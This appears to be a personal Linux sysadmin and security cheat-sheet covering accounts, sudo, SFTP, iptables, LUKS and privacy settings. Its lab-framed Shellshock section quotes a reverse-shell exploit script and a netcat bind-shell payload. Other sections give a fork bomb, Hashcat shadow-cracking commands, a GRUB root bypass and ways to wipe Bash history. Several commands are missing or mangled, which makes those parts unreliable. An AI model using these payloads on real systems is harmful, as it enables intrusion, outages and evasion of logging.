How to lock / disable a user account ?


locked accounts
  • Locking historically meant locking the account, but today it only locks the password.
  • This is done by invalidating the corresponding /etc/password entry
  • When an account is locked, its owner won't be able to perform a password-based login, but logins using alternate authentication tokens —such as SSH keys— still work.
  • To forbid any kind of login, consider changing the user's shell to any flavor of nologin.
  • Even more details...
disabled accounts
  • are actually expired accounts.
    • expired account does not always imply expired password
    • but expired password + passed inactive days == expired account
  • will not accept logins, whatever the authentication mechanisms (SSH keys, smart card, RSA SecurID, ...)
  • changing the user shell to any flavor of nologin has a not-totally-equivalent effect :
    • it forbids command-line login for any authentication method, as expected
    • but if the system has other services like email or FTP that use the system passwords for authentication, changing the shell may not disable access to them.


lock the password :
unlock the password :
disable ("expire") the account :
re-enable ("un-expire") the account :
check account status :
passwd -S kevin

How to open a shell as an other user whose login shell is disabled ?

Situation :

Solution :

Alternate solution :

  1. become root :
    sudo -i
  2. as root, become stuart :
    su -s /bin/bash - stuart

How to install Debian security upgrades automatically ?

All actions below are performed as root.

Install software :

Configure unattended-upgrades :

Edit /etc/apt/apt.conf.d/50unattended-upgrades :

  1. Define which packages will be upgraded. The defaults are fine : only Debian-security upgrades are applied :
    Unattended-Upgrade::Origins-Pattern {
    	// Codename based matching:
    	// This will follow the migration of a release through different
    	// archives (e.g. from testing to stable and later oldstable).
    //	"o=Debian,n=jessie";
    //	"o=Debian,n=jessie-updates";
    //	"o=Debian,n=jessie-proposed-updates";
    //	"o=Debian,n=jessie,l=Debian-Security";
    	// Archive or Suite based matching:
    	// Note that this will silently match a different release after
    	// migration to the specified archive (e.g. testing becomes the
    	// new stable).
    //	"o=Debian,a=stable";
    //	"o=Debian,a=stable-updates";
    //	"o=Debian,a=proposed-updates";
    	"origin=Debian,codename=${distro_codename},label=Debian-Security";		all lines but this one are commented
  2. Split the upgrade into the smallest possible chunks so that they can be interrupted with SIGUSR1. This makes the upgrade a bit slower but it has the benefit that shutdown while a upgrade is running is possible (with a small delay)
    Unattended-Upgrade::MinimalSteps "true";
  3. Enable sending emails to this address. Just uncomment the line :
    Unattended-Upgrade::Mail "root";

Enable unattended-upgrades :

2 methods to do so :
  • cat << EOF > /etc/apt/apt.conf.d/20auto-upgrades
    APT::Periodic::Update-Package-Lists "1";
    APT::Periodic::Unattended-Upgrade "1";
  • or : dpkg-reconfigure -plow unattended-upgrades

Configure apt-listchanges :

If you've configured a _real_ email address above, add it into /etc/apt/listchanges.conf :

See what happened (details) :

cat /var/log/unattended-upgrades/unattended-upgrades.log

Detect modified files in a directory tree

Computing + comparing hashes :

  1. Compute the MD5 hash of every file you want to monitor :
    searchDirectory=/path/to/some/directory; md5File=/path/to/md5.local; >$md5File; find $searchDirectory -type f -exec md5sum {} \; >> $md5File
  2. Later, to make sure no file has been altered :
    md5sum -c /path/to/md5.local | grep "FAILED"

If you're suspecting malicious modifications, make sure /path/to/md5.local won't be altered as well :

  • move it outside of the monitored host (removable media, send it by mail, ...)
  • store it on a crypted volume
  • make it unchangeable (even by root, unless he knows chattr) :
    chattr +i /path/to/md5.local
Otherwise all of this becomes useless.

Using Git :

Git is great at detecting changes in files !
  1. Create a new repository at the root of the directory tree containing files to monitor :
    git init
  2. Register all the files you want to monitor :
    git add file1 file2 fileN
  3. Save this as the "Known good state" :
    git commit -m 'All files are OK'
  4. Later, to make sure no file has been altered :
    git status
    should report nothing. Otherwise, with Git commands, you'll be able to :
    • view modifications of each altered file : git diff alteredFile
    • accept changes (with a new commit)
    • restore each file in its initial state (checkout)

Depending on its configuration, Git may not report differences regarding space and TAB characters.


How to login as root via sudo only ?

On modern (decent !) Linux distributions, you can not log in as root anymore. Instead, users can be allowed to get elevated privileges with sudo. This is a good thing : To do so :
  1. Open a terminal as root (in the CTRL-ALT-Fn screens) just in case something goes wrong in the process. Leave it as is, and continue the procedure in another terminal.
  2. Become a sudoer. This implies adding
    bob	ALL=(root)	/bin/su
    to /etc/sudoers.d/bob.
  3. Try it, as bob :
    sudo su -
    After typing your password, you should have become root.
  4. Now, as root, disable the root password : passwd -l root
  5. Check this with : grep root /etc/shadow
    Read more about ! and * in the password field of /etc/shadow
  6. Try opening a shell as root, it should fail now.
  7. Enjoy


Usage :

rkhunter (Rootkit Hunter) is a Unix-based tool that scans for rootkits, backdoors and possible local exploits.

Flags :

Flag Usage
-c --check Perform checks on the local system. Results are written to stdout and to /var/log/rkhunter.log.
--update download updated versions of text data files (if available) with wget or lynx. This command has unusual return codes :
  • 0 : no update available
  • 1 : download failed
  • 2 : download succeeded
--propupd rkhunter detects altered files by computing their checksum and comparing it to a stored version of this previously computed checksum. If both match: everything is going extremely well; otherwise, there _may_ be a problem.
This command flag is used to manually update the catalog of stored checksums.

The catalog checksums are a reference of a clean state. If an altered file is recorded this way, no future check will be able to report it.

Files can also be genuinely altered by system updates and trigger warnings. To workaround this, edit /etc/rkhunter.conf and set values (source) :
  • PKGMGR=DPGK : obtain file hashes from the specified package manager (dpkg on Debianoids)
  • HASH_FUNC=md5sum : dpkg computes file hashes with md5sum, so let's ask rkhunter to do so.

After updating these values, you MUST rebuild the catalog with rkhunter --propupd

Example :

Some entries found in /var/log/rkhunter.log :

The log file may have entries such as :
[09:34:18]	/usr/bin/unhide.rb				[ Warning ]
[09:34:18]	Warning: The command '/usr/bin/unhide.rb' has been replaced by a script: /usr/bin/unhide.rb: Ruby script, ASCII text
and :
[09:37:49]	Checking for hidden files and directories	[ Warning ]
[09:37:49]	Warning: Hidden directory found: /etc/.java

As for /usr/bin/unhide.rb: this is because rkhunter interprets finding a script or symlink while expecting a binary as a sign of compromise. rkhunter was designed on Red Hatoids, where such things are rather uncommon, whereas they are frequent on Debianoids. (source)

It's the same explanation for /etc/.java: not expected on Red Hatoids, but placed there on Debianoids. (source)


/sbin/nologin vs /bin/false

/sbin/nologin (on Red Hatoids), /usr/sbin/nologin (on Debianoids)
when a user with that shell logs in, they'll get a polite message saying This account is currently not available.. This message can be changed in /etc/nologin.txt.
false is just a binary that immediately exits returning false. So when someone who has /bin/false as shell logs in, they're immediately logged out when false exits.
Setting the shell to /bin/true has the same affect of not allowing anyone to log in, but false is probably used as a convention over true since it's much better at conveying the concept that that person doesn't have a shell.
  • Some FTP servers will let you in only if you have a valid shell. /sbin/nologin is regarded as a valid shell, whereas /bin/false is not.
  • If bob is given either /sbin/nologin or /bin/false as login shell, commands like these will fail :
Security-wise, there is no difference: /sbin/nologin is just the friendly polite version.

How to auto-logout a user after a while of inactivity ?

Define a timeout after which a user will be disconnected (source) :

Manually :

  • For Bash, ksh or zsh : export TMOUT=seconds
  • For other shells, setting this variable may be done with a different command, or a different time unit (minutes instead of seconds)

Automatically :

for all users (including root) :
Add into /etc/profile :
for Bob only :
Add into /home/bob/.bashrc :

These settings will be enabled only after the next login of the affected user(s).

What users will see when automatically disconnected :

timed out waiting for input: auto-logout
Connection to closed.

To disable this timeout (source) :

  • export TMOUT=0
  • or : unset TMOUT

How to chroot SFTP users with OpenSSH in Debian ?

Situation :

I'd like to create a restricted SFTP account for Bob, in which Bob :

Solution :

Setup users and groups :

  1. Create the sftpUsers group : groupadd sftpUsers
  2. Create the user account : useradd -d /var/data/sftp/ -g sftpUsers -s /bin/false bob
  3. Don't forget to : passwd bob
/etc/passwd should look like : bob:x:1002:1000::/sftp/upload:/bin/false

Configure SSH :

  1. Edit /etc/ssh/sshd_config : find the line starting with Subsystem sftp and change it into Subsystem sftp internal-sftp (Subsystem sftp internal-sftp /usr/lib/openssh/sftp-server ==> ???)
  2. Then, in the same file, add a rule to match users :
    Match Group sftpUsers
    	PasswordAuthentication yes
    	ChrootDirectory /var/data/sftp/
    	AllowTCPForwarding no
    	X11Forwarding no
    	ForceCommand internal-sftp
  3. Restart OpenSSH : /etc/init.d/ssh restart

Configure the filesystem :

Here is the hack that makes the whole thing work : Bob may be able to read/write the directory that is just below the chrooted dir. The directory tree becomes :

var 755, root:root
data 755, root:root
sftp 755, root:root
upload 775, root:sftpUsers

Errors :

Bad ownership ... (source):

If /var/log/auth.log reports fatal: bad ownership or modes for chroot directory component "/var/data/sftp/", it's basically a matter of chmod 755 along the chrooted path.

At upload time : open for write: permission denied

The chroot dir is a jail a user may read, but not write. If write permissions are granted to users on the chroot dir, OpenSSH regards it as insecure and denies connection.

The Diffie-Hellman key exchange

The Diffie-Hellman key exchange method :

Diffie-Hellman in SSL / TLS :

It is used in 3 versions (source) :
  • Anonymous Diffie-Hellman (DH_anon, ADH, ...) : Because the keys used in the exchange are not authenticated, the protocol is susceptible to Man-in-the-Middle attacks. You should not use this one. You can prohibit its use in your code by using !ADH in your call to SSL_set_cipher_list.
  • Fixed Diffie-Hellman : embeds the server's public parameter in the certificate, and the CA then signs the certificate. That is, the certificate contains the Diffie-Hellman public-key parameters, and those parameters never change.
  • Ephemeral Diffie-Hellman (DHE) : Each instance or run of the protocol uses a different public key. Because the public keys are temporary, a compromise of the server's long term signing key does not jeopardize the privacy of past sessions. This is known as Perfect Forward Secrecy. You should always use this one because it provides PFS. You can specify ephemeral methods by providing kEECDH:kEDH in your call to SSL_set_cipher_list.

Proof-of-concept of the Shellshock bug

Am I vulnerable ?

Run this and you'll know : env x='() { :;}; echo "You are VULNERABLE."' bash -c "echo 'Dont panic : this is a test'"

If it displays :

Dont panic : this is a test
You're running a vulnerable version of Bash. This is fine if you plan to test the hack below. Otherwise, update your system now !

If it displays :

bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
Dont panic : this is a test
It seems you applied the first update, which makes things better, but you may still be vulnerable. The hack below won't work. Please update Bash.

If it displays :

Dont panic : this is a test
You are up-to-date and safe.

Become vulnerable again :


If you're already running a fixed version, you'll have to downgrade Bash to a vulnerable version :
  1. Get the current version : dpkg -l bash says 4.2+dfsg-0.1+deb7u1
  2. Find any previous version : grep bash /var/log/dpkg.log | grep -v completion | head shows the version 4.2+dfsg-0.1
  3. Let's try it : apt-get install bash=4.2+dfsg-0.1 This will warn you about downgrading a package. Ignore it and continue.
  4. Make sure now you're vulnerable

Let's experiment things :

This experience was inspired by this code :

#CVE-2014-6271 cgi-bin reverse shell

import httplib, urllib, sys

if (len(sys.argv) < 4):
print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0]
print "Example: %s localhost /cgi-bin/test.cgi" % sys.argv[0]

conn = httplib.HTTPConnection(sys.argv[1])
reverse_shell = "() { ignored; }; /bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]

headers = { "Content-type": "application/x-www-form-urlencoded", "test": reverse_shell }
conn.request("GET", sys.argv[2], headers=headers)
res = conn.getresponse()
print res.status, res.reason
data =
print data
  1. create a new virtual machine to play with
  2. Install some software : apt install apache2 emacs23-nox
  3. Create an alias NOW before going crazy : alias ll='ls -lh'
  4. Create a new documentRoot : mkdir -p /var/www/testCgi
  5. Disable default virtualhosts : a2dissite 000-default
  6. Create the file /etc/apache2/sites-available/testCgi.conf :
    <VirtualHost *:80>
    	ServerName testCgi
    	ScriptAlias / /var/www/testCgi/
    	DocumentRoot /var/www/testCgi
    	<Directory /var/www/testCgi>
    		Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
    		AllowOverride None
    		Order allow,deny
    		allow from all
    	ErrorLog ${APACHE_LOG_DIR}/error.log
    	LogLevel warn
  7. Create the file /var/www/testCgi/ :
    #!/usr/bin/env bash
    echo 'Content-type: text/plain'
    echo 'Hello world.'
  8. Make this script executable : chmod a+x /var/www/testCgi/
  9. Stop Apache from complaining about its missing host/domain name : echo "ServerName testCgi" > /etc/apache2/conf.d/fqdn
  10. Enable the new virtualhost : a2ensite testCgi.conf
  11. Restart Apache : apache2ctl restart
  12. Get the IP address of your web server : ip a
  13. From another host, test your web server : wget -S -O - --header="Host: testCgi" The output should comply with : right Content-type, right message.
  14. Good ! So far, what we've done was just creating our playground. Time to play !
    As seen in the exploit code above, the idea is to send a GET request to our CGI script, while passing it an argument as an additional HTTP header. The payload of this header is the malicious code. Let's do this with wget, our payload being a Netcat command to open a remote shell :
    payload='() { :;};/bin/nc -l -p 8888 -v -e /bin/bash'; wget -S -O - --header="Host: testCgi" --header="Content-type: application/x-www-form-urlencoded" --header="test: $payload"
    After launching this command from our attacking host, the shell may look stalled :
    --2014-09-25 23:53:09--
    Connecting to
    HTTP request sent, awaiting response...
    Actually, this shows our attack worked : the remote CGI script has spawned a new Bash shell, which has itself started a listening Netcat instance via the "Shellshock" bug.
  15. On the attacking host, open a new terminal, and connect to our listening Netcat : nc 8888 :
    • whoami returns : www-data
    • hostname returns the REAL hostname of my testing machine : I'm in !!!

How to limit the rate of incoming connections with iptables ?

This method is a good alternative to fail2ban : iptables is fast, kernel level, memory efficient, and doesn't require daemons that go bananas and kill your CPU (source).

There is a hack to increase security of applications that need not being open on the Internet : configure them to listen on the interface, then connect to them via an SSH tunnel.

Create rules (sources : 1, 2) :

iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --set
iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --update --seconds 60 --hitcount 3 -j DROP
This will DROP an incoming connection if :
  • The IP address which initiated the connection has previously been added to the list
  • AND the IP address has sent a packet in the past 60 seconds
  • AND the IP address has sent more than 3 packets in total

Test rules

Depending on the port / protocol :
  • for HTTP :
    for i in {1..5}; do echo 'GET' | nc localhost 80; done
    echo 'GET' | nc localhost 80 is a hack to send HTTP requests. Other methods (like wget or curl) should work too.
  • for SSH :
    for i in {1..5}; do nc -vz localhost 22; done
Whatever method is used, this should work 3 times, then fail (timeout) on following attempts.

Make them reboot-proof (source, alternate solution) :

  1. apt install iptables-persistent
  2. save existing rules to file : iptables-save > /etc/iptables/rules.v4
  3. reload rules from file : iptables-restore < /etc/iptables/rules.v4

To update rules, do not try to edit /etc/iptables/rules.v4. Instead, just edit rules from the shell, then save them.


How to hide processes to other users ?

ps and top return detailed information about processes, including their full command line. Some commands (such as MySQL commands) may disclose clear-text passwords. It is possible to fix this on systems with a kernel version >= 3.2 by mounting the /proc filesystem with the new hidepid option :
hidepid value Usage
0 default behavior : users can see others' processes
1 ps and top only return user's own processes. But it is still possible to see others' processes while browsing /proc/ subdirectories.
2 ps and top only return user's own processes. It is not possible anymore to wander in /proc/ subdirectories.

Of course, root still sees all processes.

Hide processes (not reboot-proof) :

mount -o remount /proc -o hidepid=2

Hide processes (reboot-proof) :

Edit /etc/fstab so that you have something like :
proc	/proc	proc	defaults,hidepid=2	0	0

Recover passwords with Hashcat

Usage :

Hashcat is an advanced "password recovery" tool, such as John the Ripper. Both seem to be equally powerful, as they do not completely compete on the same level. Hashcat comes in 2 flavors :

Attack modes

  • Bruteforce : try all characters from a to zzzzzzzzz
  • Wordlist : search passwords from a list of words
  • Rules : modify/combine words from the word lists and search for the password


  1. Download the latest version
  2. Unpack the downloaded archive. The binary to use on a 64bit CPU running Linux is hashcat-cli64.bin
  3. For convenience : ln -s hashcat-cli64.bin h4
  4. Download a dictionary / wordlist (sources : 1, 2, )

Flags :

CLI options
Flag Usage
-a n
Specify the attack-mode from :
  • 0 : Straight – (Default) Simply runs all words in a dictionary against your hashlist. Having a good dictionary here will improve your chances of successfully recovering a hash.
  • 1 : Combination – Combines words from the given dictionary. Modes 0 and 1 are also the only modes to accept the switches –r or –g.
  • 2 : Toggle-Case – Flips all capitals to lowercase, and all lowercase to uppercase. Digits and special characters are ignored as they do not have a case.
  • 3 : Brute-Force – BF should be used as a last resort as it is not effective against long passwords, and can be quite time consuming.
  • 4 : Permutation – Takes letters from a word, and re-arranges them. Example: abc becomes abc, acb, bac, bca, cab, cba.
  • 5 : Table-Lookup – Breaks a string into individual characters and applies a rule to each one matching a table entry.
-m n --hash-type=n Specify the hash type. See list

Example :

Run a dictionary attack on GNU/Linux user account passwords from hashes (/etc/shadow) :

./h4 -m 1800 fileContainingHashes dictionaryFile

Run a "bruteforce masked" attack on GNU/Linux user account passwords from hashes :

A mask is an indication on the password format (length, alphabet, position of upper/lower case letters if any) to reduce the number of keys to test. A mask would be ?l?l?l?l?l?l for a 6-lowercase-letter word (/etc/shadow) (mask syntax).

./h4 -a 3 -m 1800 fileContainingHashes [mask]

Mind your mask specification, or this will last forever !

Run a "bruteforce masked" attack on MySQL user account passwords from hashes :

Leave the leading * from MySQL hashes.
Searching for a 5-character long password using [a-zA-Z0-9] chars, the command would be :
./h4 -a 3 -m 300 fileContainingHashes -1 ?l?u?d ?1?1?1?1?1
This command will try only 5 characters combinations, so if the password is only 4 characters long, it won't be found. There is a --increment parameter which is designed to repeat the mask between minLength and maxLength times, but it seems it's been deprecated (or it's applied automatically in newer versions of HashCat ?). Its behavior can be simulated with Bash and Perl :
hashFile='fileContainingHashes'; minLength=1; maxLength=4; mask='?1'; for length in $(seq $minLength $maxLength); do computedMask=$(perl -E "say '$mask' x "$length); echo "$length : $computedMask"; ./h4 -a 3 -m 300 $hashFile -1 ?l?u?d $computedMask; done

Mind your mask specification, or this will last forever !


Recover the root password

Using GRUB, you can manually edit the proposed menu entry at boot time (source) :
  1. press ESC so that GRUB shows the menu list
  2. use the arrows to select the boot entry you want to modify
  3. press e to edit the entry
  4. use the arrows to go to kernel line
  5. press e to edit this entry
  6. at the end of the line add init=/bin/bash
  7. press ESC to go back to the parent menu
  8. press b to boot this kernel
  9. once finished booting Linux you will have a root-level shell and you can use passwd
Seems this method is now obsolete. Let's try another one (source) :
  1. press ESC so that GRUB shows the menu list
  2. use the arrows to select the boot entry you want to modify (the default one is usually fine)
  3. press e to edit the entry
  4. use the arrows to go to the linux /boot/vmlinuz-... line
  5. replace the ro quiet or ro single with rw init=/bin/bash
  6. press F10 to finish editing and boot
  7. once finished booting, you will have a root-level shell. Trying passwd now will fail on passwd: Authentication token manipulation error because / is mounted in ro-mode. Remount / in rw mode (source) : mount -rw -o remount /
  8. then : passwd

How to setup and use a dm_crypt encrypted volume ?


To proceed, you'll need an empty storage device to play with. This can be :


  1. install cryptsetup
  2. initialize the /dev/sdc1 partition by defining the encryption method and the key :
    • (obsolete?) cryptsetup luksFormat -c aes -h sha256 /dev/sdc1
    • (updated) cryptsetup --cipher aes-xts-plain64 --key-size 512 --hash sha512 luksFormat /dev/sdc1
  3. you can now open your vault and give it an alias : cryptsetup luksOpen /dev/sdc1 barracuda
  4. at that point, you should see a /dev/mapper/barracuda block device
  5. let's now format it : mkfs.ext4 /dev/mapper/barracuda
  6. [do anything you want now]
  7. don't forget to close your vault once done : cryptsetup luksClose barracuda

Usage :

Commands below must be run as root.

mount :

  1. open the vault : cryptsetup luksOpen /dev/sdc1 barracuda
  2. This should prompt for the volume password. If it doesn't, this may be because you're not dealing with a crypted volume
  3. mount the volume : mount /dev/mapper/barracuda /mount/point

unmount :

  1. unmount the volume : umount /mount/point
  2. close the vault : cryptsetup luksClose barracuda

various "utilities" :

LUKS volumes have a metadata header, which offer more features than plain dm-crypt. On the other hand, the header is visible and vulnerable to damage (in which case, data is lost unless you have a backup of the header).

Backup the LUKS volume header :

cryptsetup luksHeaderBackup --header-backup-file /path/to/header/backup/file /dev/sdc1
You MUST make a new backup of the header after changing any of the volume passphrases

Make sure the header you're about to restore fits the right volume :

cryptsetup -v --header /path/to/header/backup/file open /dev/sdc1 test
Key slot 0 unlocked.
Command successful.

Restore the header of a closed LUKS volume :

cryptsetup luksHeaderRestore /dev/sdc1 --header-backup-file /path/to/header/backup/file

Manage passphrases :

  • cryptsetup luksAddKey /dev/sdc1
  • cryptsetup luksRemoveKey /dev/sdc1

Example :

Is the vault open or not ?

Opening the vault creates a new entry in /dev/mapper/ :
ll /dev/mapper/barracuda

How to mount a crypted volume as a non-root user ?

  1. Grant sudo privileges to Bob on the /sbin/cryptsetup binary
  2. Declare the volume in /etc/fstab :
    /dev/mapper/barracuda	/mount/point	ext4	noauto,user	0	0
  3. Create /mount/point and mount the volume as root the 1st time.
  4. As root :
    chown bob: /mount/point && umount /mount/point
  5. As bob :
    mount /mount/point

    mount /dev/mapper/barracuda /mount/point
    will result in :
    mount: only root can do that

  6. Enjoy !

Mount a crypted volume at boot time (source) :

  1. load the dm_crypt kernel module : echo dm_crypt >> /etc/modules
  2. Make its mount point : mkdir /mnt/secure
  3. Detect the encrypted volume and decrypt it as a "readable" volume at boot time (equivalent to cryptsetup luksOpen /dev/sda4 secure). This is done by declaring it in /etc/crypttab :
    # <target name>	<source device>	<key file>	<options>
    secure		/dev/sda4	none		luks,timeout=10
  4. Declare the "readable" volume into /etc/fstab with a line such as :
    /dev/mapper/secure		/mnt/secure		ext4		noauto,defaults		0		0
  5. Don't forget to make the volume accessible to userName (once it's mounted): chown userName:groupName /mnt/secure
  6. The secret passphrase will be prompted at boot time. Upon 5 failures (or ), the boot process will continue without mounting the crypted volume.

Use on another computer (and forgot to backup keys ) : create a new key :

  1. you may have to modprobe dm_crypt before going further (the module used to be dm-crypt)
  2. cryptsetup luksAddKey /dev/sdb1
  3. follow the on-screen instructions, then mount/unmount as usual (source)

Trying to open the vault (cryptsetup luksOpen ) outputs : Can not access device

This may happen when the vault is already open by another application, like Gnome, with its "automount devices" feature. In such case, the volume may already be available as /dev/mapper/luks_crypto_e3cf020a-adb5-440e-888c-10666ebbd203.

Shell fork bomb

Such bombs work by exhausting the process table so that there is no available PID anymore, making it impossible to start any new process.

:(){ :|:& };:

:(){ :|:& };:
:()		define a function named :
   {		beginning of function block
     :		execute the : function ...
      |		... and pipe its output to ...
       :	... another copy of the : function (i.e. running the : function spawns itself twice, causing a chain-reaction)
        & 	turn the function into a background process, so that it survives the death of its parent
          }	end of function block
           ;	end of definition
            :	execute the : function. The chain-reaction begins.


ACL support is built in the kernel since the early 2.6 versions and works with the EXTn filesystems (and many others). ACL are based on file extended attributes (= metadata attached to the files). There are 3 flavors of ACL : Files having Extended ACL are displayed with an additional + by ls :
-rw-r--r--+	1 kevin users	343 2005-02-07 16:53 someFile

Read an ACL

getfacl someFile
# file: someFile
# owner: kevin
# group: users

modify an ACL : grant user rights

setfacl -m u:bob:rw- file

How to prevent Bash from recording history ?

Unsetting the history file :

  • If Bash has nowhere to write data, the history of the current session will be lost :
    unset HISTFILE
  • Leave Bash silently :
    unset HISTFILE && exit
  • Clear the whole history :
    rm $HISTFILE && history -c

Alternate method : prevent just one command from being saved in the history (source 1, 2, See also) :

  1. Make sure at least one of the files listed below has the ignorespace option for the HISTCONTROL directive (details) :
    grep -E 'HISTCONTROL.*ignorespace' ~/.bashrc ~/.bash_profile /etc/bash.bashrc
  2. Add the missing option into ~/.bashrc
  3. . ~/.bashrc
  4. Now, commands prefixed with a space character won't be recorded in the history : SPACEanyCommand

Privacy of the /home directory

Directories recording history

~ home, sweet home !
Flash_Player Flash cookies (remove)
.lesshst History of the search commands within less (remove)
activity.sqlite SQLite database activity log used by Zeitgeist daemon (details, remove)
.macromedia Flash cookies (remove)
.recently-used.xbel used by GTK+-based software to record recent files (details, remove)
.thumbnails Nautilus thumbnails (remove)

Remove and disable less search history file (source : man less) :

  1. rm ~/.lesshst
  2. Add to ~/.bashrc : export LESSHISTFILE="/dev/null"
  3. . ~/.bashrc

Flash cookies

These cookies are *sol files. To get rid of them :
  • cleaning mode : find ~/.macromedia -iname '*.sol' -exec rm {} \; It might also be useful to remove directories named after the visited websites.
  • chlorinating mode : same as above + chmod 500 ~/.macromedia
  • paranoid mode :
    • same as above + chattr +i ~/.macromedia as root
    • OR : delete ~/.macromedia, then ln -s /dev/null ~/.macromedia
See also :

Remove spy files

  • method 1 :
    1. rm ~/.recently-used.xbel
    2. ln -s /dev/null ~/.recently-used.xbel
  • method 2 :
    1. > ~/.recently-used.xbel
    2. chattr +i ~/.recently-used.xbel


  • method 1 : resets log, but logging continues : (source)
    1. rm ~/.local/share/zeitgeist/activity.sqlite
    2. zeitgeist-daemon --replace
  • method 2 : just send information to a black hole.

Remove Nautilus thumbnails

Delete anything that hasn't been accessed to in the latest 7 days :
find ~/.thumbnails -type f -atime +7 -exec rm {} \;

How to become a sudoer ?

The bare minimum of sudoing : let Bob become a sudoer, while using local authentication :

This is potentially granting too many rights !

As root :
  1. Make Bob a member of the sudo group : adduser bob sudo
  2. touch /etc/sudoers.d/bob
    At this step, Bob can already run sudo commands since :
    • he belongs to the sudo group
    • and thanks to this directive in /etc/sudoers :
      # Allow members of group sudo to execute any command
      %sudo	ALL=(ALL:ALL)	ALL
      The %whatever syntax refers to the whatever group (source).
  3. Edit it with your favorite text editor :
    bob	ALL=(root)	NOPASSWD:/usr/sbin/service
    • There must be a LF after the last directive, otherwise trying to use these new permissions will fail :
      >>> /etc/sudoers.d/bob: syntax error near line 1 <<<
      sudo: parse error in /etc/sudoers.d/bob near line 1
      sudo: no valid sudoers sources found, quitting
      sudo: unable to initialize policy plugin
    • Both [space] and [TAB] indentation are supported
  4. Save, exit, then chmod 440 /etc/sudoers.d/bob

Notes about sudo passwords (source) :

When launching a sudo command :
  1. sudo prompts for the user password
  2. IF the password is correct AND IF the command is allowed :
    • sudo saves the elevated permission into a dedicated cache
    • looks like the default cache duration has been decreased from 15 minutes to 5 minutes (set to 5 minutes in sudo 1.8.31, not checked previous versions)
    OTHERWISE (wrong password OR forbidden command) :
    • nothing is cached
  3. The next time a sudo command is launched, the permission is checked from the cache (if available)
To purge the cache : sudo -k

Using LDAP authentication

Contents of /etc/sudoers :
becomes (literally) :
sudoUser sudoHost=(sudoRunAs) sudoCommand sudoOption
in the LDAP rules. (details)